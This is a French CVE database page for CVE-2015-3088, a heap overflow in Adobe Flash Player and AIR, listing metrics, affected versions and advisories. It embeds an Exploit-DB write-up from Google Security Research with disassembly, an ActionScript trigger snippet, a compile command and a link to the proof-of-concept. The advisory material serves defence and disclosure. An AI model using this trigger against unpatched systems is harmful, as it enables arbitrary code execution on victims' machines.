CVE-2015-3088 : Détail

CVE-2015-3088

Overflow
57.09%V3
Network
2015-05-13
08h00 +00:00
2017-09-16
07h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Heap-based buffer overflow in Adobe Flash Player before 13.0.0.289 and 14.x through 17.x before 17.0.0.188 on Windows and OS X and before 11.2.202.460 on Linux, Adobe AIR before 17.0.0.172, Adobe AIR SDK before 17.0.0.172, and Adobe AIR SDK & Compiler before 17.0.0.172 allows attackers to execute arbitrary code via unspecified vectors.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 37844

Date de publication : 2015-08-18 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=303&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id [Tracking for: https://code.google.com/p/chromium/issues/detail?id=470864] VULNERABILITY DETAILS Use After Free in Flash AVSS.setSubscribedTags, setCuePointTags and setSubscribedTagsForBackgroundManifest can be abused to write pointers to String to freed locations. VERSION Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134 Operating System: Win7 x64 SP1 REPRODUCTION CASE Use After Free vulnerability in AVSS.setSubscribedTags can cause arbitrary code execution. pepflashplayer.dll 17.0.0.134, based at 0x10000000. The setSubscribedTags is handled by sub_103255AD: .text:103255AD push ebp .text:103255AE mov ebp, esp .text:103255B0 and esp, 0FFFFFFF8h .text:103255B3 sub esp, 14h .text:103255B6 push ebx .text:103255B7 mov ebx, [ebp+arg_0] .text:103255BA push esi .text:103255BB push edi .text:103255BC mov edi, eax .text:103255BE mov eax, [ebx] .text:103255C0 mov ecx, ebx .text:103255C2 call dword ptr [eax+8Ch] ; first get the length of the provided array .text:103255C8 lea esi, [edi+4Ch] .text:103255CB mov [esp+20h+var_C], eax .text:103255CF call sub_103265BB .text:103255D4 mov esi, [esp+20h+var_C] .text:103255D8 test esi, esi .text:103255DA jz loc_1032566D .text:103255E0 xor ecx, ecx .text:103255E2 push 4 .text:103255E4 pop edx .text:103255E5 mov eax, esi .text:103255E7 mul edx .text:103255E9 seto cl .text:103255EC mov [edi+58h], esi .text:103255EF neg ecx .text:103255F1 or ecx, eax .text:103255F3 push ecx .text:103255F4 call unknown_libname_129 ; and then allocate an array of 4*length .text:103255F9 and [esp+24h+var_10], 0 .text:103255FE pop ecx .text:103255FF mov [edi+54h], eax ; that pointer is put at offset 0x54 in the object pointed by edi Next there is a for loop that iterates over the array items and calls the toString() method of each item encountered: .text:10325606 loc_10325606: .text:10325606 mov eax, [edi+8] .text:10325609 mov eax, [eax+14h] .text:1032560C mov esi, [eax+4] .text:1032560F push [esp+20h+var_10] .text:10325613 mov eax, [ebx] .text:10325615 mov ecx, ebx .text:10325617 call dword ptr [eax+3Ch] ; get the ith element .text:1032561A push eax .text:1032561B mov ecx, esi .text:1032561D call sub_1007205D ; call element->toString() .text:10325622 lea ecx, [esp+20h+var_8] .text:10325626 push ecx .text:10325627 call sub_10061703 .text:1032562C mov eax, [esp+20h+var_4] .text:10325630 inc eax .text:10325631 push eax .text:10325632 call unknown_libname_129 .text:10325637 mov edx, [edi+54h] .text:1032563A pop ecx .text:1032563B mov ecx, [esp+20h+var_10] .text:1032563F mov [edx+ecx*4], eax ; write a pointer to the string in the array ... .text:1032565F inc [esp+20h+var_10] .text:10325663 mov eax, [esp+20h+var_10] .text:10325667 cmp eax, [esp+20h+var_C] .text:1032566B jl short loc_10325606 The issue can be triggered as follows. Register an object with a custom toString method in an array and call AVSS.setSubscribedTags(array). When object.toString() is called, call again AVSS.setSubscribedTags with a smaller array. This results in freeing the first buffer. So when the execution flow returns to AVSS.setSubscribedTags a UAF occurs allowing an attacker to write a pointer to a string somewhere in memory. Trigger with that: var avss:flash.media.AVSegmentedSource = new flash.media.AVSegmentedSource (); var o:Object = new Object(); o.toString = function():String { var a = [0,1,2,3]; avss.setSubscribedTags(a); return "ahahahahah" }; var a = [o,1,2,3,4,5,6,7,8,9]; var i:uint = 0; while (i < 0x100000) { i++; a.push(i); } avss.setSubscribedTags(a); Note: AVSS.setCuePointTags and AVSS.setSubscribedTagsForBackgroundManifest are vulnerable as well, see XAVSSArrayPoc2.swf and XAVSSArrayPoc3.swf. Compile with mxmlc -target-player 15.0 -swf-version 25 XAVSSArrayPoc.as. My mistake, not a UAF but instead a heap overflow. We allocate first 4*0x100000 bytes, then free that buffer, then reallocate 4*4 bytes, then write 0x100000 pointers to a buffer of size 0x10. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37844.zip

Products Mentioned

Configuraton 0

Adobe>>Flash_player >> Version To (including) 11.2.202.475

Linux>>Linux_kernel >> Version -

Configuraton 0

Adobe>>Flash_player >> Version To (including) 13.0.0.264

Adobe>>Flash_player >> Version 14.0.0.125

Adobe>>Flash_player >> Version 14.0.0.145

Adobe>>Flash_player >> Version 14.0.0.176

Adobe>>Flash_player >> Version 14.0.0.179

Adobe>>Flash_player >> Version 15.0.0.152

Adobe>>Flash_player >> Version 15.0.0.167

Adobe>>Flash_player >> Version 15.0.0.189

Adobe>>Flash_player >> Version 15.0.0.223

Adobe>>Flash_player >> Version 15.0.0.239

Adobe>>Flash_player >> Version 15.0.0.246

Adobe>>Flash_player >> Version 16.0.0.235

Adobe>>Flash_player >> Version 16.0.0.257

Adobe>>Flash_player >> Version 16.0.0.287

Adobe>>Flash_player >> Version 16.0.0.296

Adobe>>Flash_player >> Version 17.0.0.134

Adobe>>Flash_player >> Version 17.0.0.169

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Adobe>>Air >> Version To (including) 17.0.0.144

Adobe>>Air_sdk >> Version To (including) 17.0.0.144

Adobe>>Air_sdk_\&_compiler >> Version To (including) 17.0.0.144

Références

http://www.securitytracker.com/id/1032285
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/74609
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/37844/
Tags : exploit, x_refsource_EXPLOIT-DB
https://security.gentoo.org/glsa/201505-02
Tags : vendor-advisory, x_refsource_GENTOO
http://rhn.redhat.com/errata/RHSA-2015-1005.html
Tags : vendor-advisory, x_refsource_REDHAT